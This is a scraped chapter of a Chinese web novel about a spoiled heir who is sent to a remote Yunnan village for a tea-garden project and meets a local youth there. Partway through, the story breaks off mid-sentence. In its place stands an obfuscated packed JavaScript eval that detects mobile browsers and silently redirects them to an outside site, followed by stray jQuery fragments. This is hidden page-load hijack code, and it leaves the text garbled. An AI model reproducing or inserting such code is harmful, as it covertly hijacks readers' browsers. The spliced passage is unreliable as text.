默认冷灰
24号文字
方正启体

1. 初来乍到

作者:湘见07本书字数:K更新时间:
    阳春三月,乍暖还寒,云南边陲小县城迎来了一群不速之客。


    绿皮火车拖着疲累的尾音缓缓停下。一行人到普景县的时候已临近傍晚,许文曦身着一身黑色大衣,戴着宝格丽墨镜骚包地从车站里走出。


    太阳熄灭隐入山间,天边只留下一卷残阳,周围环境破败且萧瑟。冷气顺着衣摆的空隙钻入身体,许文曦不禁打了个寒颤。


    “我去你的!什么破地方,车站修的比我家厕所还小。”


    从北京飞昆明,再转火车到这鸟不拉屎的地方,他早就满身怒气,不顾形象地破口大骂着,光是骂还不解气,抬起长腿一脚踢翻了路边的垃圾桶。


    跟在身后的三人面面相觑,噤若寒蝉,谁也不敢在这个时候触他的逆鳞。


    许文曦暴躁地坐在石墩子上等待政府工作人员的接待,吹了好一阵冷风才迎来一个微胖的中年男人。


    “哎呦!许先生是吧,刚刚有点事耽搁了,真是抱歉啊。”他一边说一边扶起被踢倒的垃圾桶。


    许文曦冷笑一声,“给你们捐钱都不止捐了一百万,车站居然还是这么破。”


    少爷怼起人来毫不客气,也不管对方究竟官大官小。


    跟在身后的助理赶忙向前打圆场,“李主任是吧,我是何远,不好意思啊,您先带我们去旅馆放行李吧。”


    李主任擦了擦额头的冷汗,赶紧顺台阶而下,“好嘞,咱们先在镇上住一天,明天一早我就带你们去云定村。”


    说着便带一群人上了一辆银色轿车,许文曦嫌弃地看着那辆浑身掉漆的破车,心不甘情不愿地坐上了副驾,剩下三个人挤在后排。


    李主任发动引擎,汽车猛地一哆嗦,许文曦怕他散架赶忙抓紧扶手。车子震了好一会儿才苟延残喘地向前挪去。


    马路上空旷无比,轿车在路上挪了半天,总算到达了目的地。许文曦眉头紧皱地看着眼前的水泥房,压着怒火问道:“这就是酒店?”


    李主任心有余悸地回答:“这里已经是咱们这最好的旅馆了。”


    许文曦气不过,长腿一跨又坐回副驾,“送我去车站,老子不待了!”


    一番折腾后,许文曦最终还是没走成,何远他们几个人轮番上阵,好说歹说地哄了半天才把人哄进屋子。这次调研本就艰难,还得抽空照顾少爷,真是钱难挣屎难吃。


    躺在充斥着霉味的房间里,许文曦内心数不尽的后悔。那天晚上老爹骂他是个废物,还威胁要停掉他的卡,一气之下就答应来这边出差。


    他绝望地叹气,逞什么能啊,废物就废物呗,总好过被卖到这山沟沟里想走都走不了要强。这简直比哑巴吃黄连更让人难受。


    放在旁边的手机不断亮起,许文曦一猜就知道是老爹,他假装没看见把手机晾在一边。


    对面没收到他的回复,直接一个电话打了过来,许文曦这才不耐烦地按了接听。


    刚接听,许怀斌就一顿数落,“给你发这么多消息一条也不回,装死是不是。”


    “有事没,没事我就挂了。”


    电话那头争夺一阵后换了人,“灿灿,我是妈妈,你吃饭了没,你要是吃不惯那边的东西就从箱子里拿点吃的垫垫肚子。还有羽绒服和秋裤都要记得穿,别老穿大衣,那玩意儿除了好看以外一点也不保暖……”


    灿灿是他刚出生时家里取的小名,许文曦一点也不喜欢,听上去像个女孩。


    老母亲一番话还没说完就被许怀斌打断,“你别老惯着他,他今年都二十二了,隔壁老沈家儿子在这个年纪都能替他爹管理公司了,你看看他现在像什么样子!一点上进心也没有,恨铁不成钢啊!”


    这些话许文曦听得耳朵都快起茧子了,“爸,真没事我就挂了。”


    “别挂!”许怀斌清了清嗓子找了个安静点的地方,“这次是让你过去办正事的,你别摆你那少爷架子,有什么事就去找何远,别给我惹祸啊。”


    许文曦敷衍地应下来,反正他这次来也就走个过场,老爹早就帮他把路给铺好了。


    许文曦是个名副其实的草包少爷,仗着家境优渥,整天混吃混喝一事无成,眼看着马上大学毕业,老父亲大手一挥把他扔到分公司历练,谁料上班第一天就得罪了部门主管,搞得那边鸡飞狗跳。许怀斌替他收拾完烂摊子之后,又把这个不争气的儿子调回总部,放到自己眼皮子底下供着。


    许家就这一根独苗,集全家宠爱于一身。虽说儿子是个扶不起的阿斗,但许怀斌并没有轻易放弃。


    许文曦在他手底下实习的第一个月,老父亲便把他塞进了“普景县古茶园开发”的项目组。公司里知道他身份的不少,许氏集团的亲太子爷空降项目组,谁也不敢置喙。


    项目地前期调研和实地考察最为辛苦,几乎算是费力不讨好的活,谁也没料到坐享其成的少爷会被选中出差,就连许文曦自己也没想到。


    挂了电话后一阵空虚涌上心头,房间的窗户怎么也关不紧,总有风钻空子刮进来,许文曦望着天花板发呆,这次过来一待就得大半个月,他心里暗自祈祷时间过得快一点。


    许文曦无所事事地盯着天花板发呆,楼上传来动静,天花板的墙皮猝不及防地脱落一块,正正好砸在他的脸上。许文曦感觉自己此刻的怒火能把房子烧穿,他猛地坐起,大声骂了句“操!”


    简单收拾完之后,他认命般的躺下,打算一觉睡他个天昏地暗。中途何远来送过一次晚饭,他没胃口,一句话把人打发走了。


    被子枕头全部散发着一股霉味,许文曦翻来覆去好一阵,最终忍无可忍,起身从箱子里拿出长款羽绒服盖在身上,把自己跟被子隔开,虽然依旧不适,但好歹起到一个心理作用,在这种心理暗示下他总算睡了过去。


    第二天一早,许文曦被敲门声吵醒,何远他们三人在门口战战兢兢,“文曦起床吃早饭了,我们今天得早点出发赶路。”


    里头的人不耐烦地拿被子捂住头,不多时又嫌弃的把被子甩开,许文曦被敲门声吵得头都大了,眼睛半睁着打开手机,才早上七点,“靠!”


    十分钟后那扇旧木门终于被敲开,外头的人脸上写满了意外,他们本来以为起码得等半个小时。


    许文曦头发还翘着一撮,俊秀的脸上写满了不耐,见到众人张口第一句话便是,“我要回家!”


    老旧的大巴摇晃着上了盘山公路,许文曦这个家还是没回得成。车窗外山清水秀,但他无心留恋风景,心里头有一块倒计时的表,细数着剩下的日子,遥遥无期啊。


    从县城到云定村路程得花三个小时,何远他们三人正围在一起讨论着之后的计划,一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149099|196411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    行人聊得如火如荼,许文曦没有参与,戴着耳机闭目养神。


    道路泥泞不平,司机又开的莽撞,行程刚过半许文曦便撑不住了,他脸色难看到了极点,气若游丝地喊着:“停车。”


    车子还没停稳,他便冲到路边稀里糊涂地吐了一通,胃里空荡荡的,能吐出来的只有一摊苦水。


    何远赶忙追上给他递水,转头又对司机说:“大哥,能歇会儿不,这小孩水土不服。”


    司机熄火,答应休息十分钟。


    许文曦接过水漱了漱口,又简单吃了点东西,脸色总算好看了些。


    他有气无力的抓着何远,像是抓住了救命稻草,“远哥,能送我回家吗?我真是一秒也待不下去了。”


    何远安抚着他的小情绪,连哄带骗地说:“来都来了,好歹也装装样子给许总看啊,并且你现在原路返回也还得坐两个小时大巴,但继续赶路的话只要一个小时就能到云定村,怎么看都是继续坐更划算点。”


    也不知道许文曦到底有没有听进去,反正最后还是稀里糊涂地上了车。再次出发前,何远给司机递了包烟,“大哥,等会儿开稳点行不,不然这小孩又闹着要回家。”


    司机笑着接过,“我尽量啊。”后半程大巴果然平稳了许多。


    何远今年刚满二十八,他在许氏集团待了八年,也算是看着许文曦长大,在他眼里许文曦就是个脾气差但是一哄就好的小孩子。


    许怀斌算是带他入行的伯乐,于他有恩,对于他的孩子何远自然是要照顾周全。


    一路颠沛流离,总算到了目的地。


    下车的地方是一个比火车站还要破旧的站点,门口挂了个木牌,上面用黑炭写着“云定村”,下面还有一行不知道是什么的文字。


    前阵子刚下过雨,许文曦刚下车就沾了满脚的泥巴,看着这前不着村后不着店的地方,他眉头皱的更紧,“云定村在哪儿呢?”


    李主任汕汕地上前,“这边路窄,车子开不进去,还得走个十分钟的样子。”


    许文曦感觉自己上了贼船,但他已无力抱怨,压着怒火跟在队伍后头。何远任劳任怨,身上背着自己的包,手上还提着少爷的两个大箱子。许文曦难得不好意思,从他手里接了一个过来。


    说是十分钟,最后一行人堪堪走了将近半小时才到村口,村口铺了一小段粗糙的水泥路,许文曦在边缘把脚上的泥巴蹭干净才往前走。


    村口站着三个人,李主任走上前跟中间那个年岁较大的老头握着手,他们嘴里说着当地的方言,许文曦一个字也听不懂,他感到有些无聊,独自一人蹲到路边揪着草玩。


    兀自玩了一会儿后,旁边传来清冽的男声,“领导,我帮您拿箱子吧。”


    许文曦抬眼看去,一个俊秀的少年正弯眼冲着自己笑着,鼻梁高挺眉眼深邃,如此富有攻击力的长相却笑得这样朴实。


    他手撑在膝盖上弯腰说着话,耳上挂着的银饰垂在脸颊处,风拂过上面的流苏,发出清泉击石般的叮铃声。


    许文曦一时看得丢了魂,对方喊了他好几句才回过神来。他尴尬地轻咳两声,“别叫我领导,叫我名字就行。”说完便把行李箱递了过去,“我叫许文曦。”


    少年眼珠乌黑发亮,笑容灿烂的过了头,“你好许文曦,我叫程槿荣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)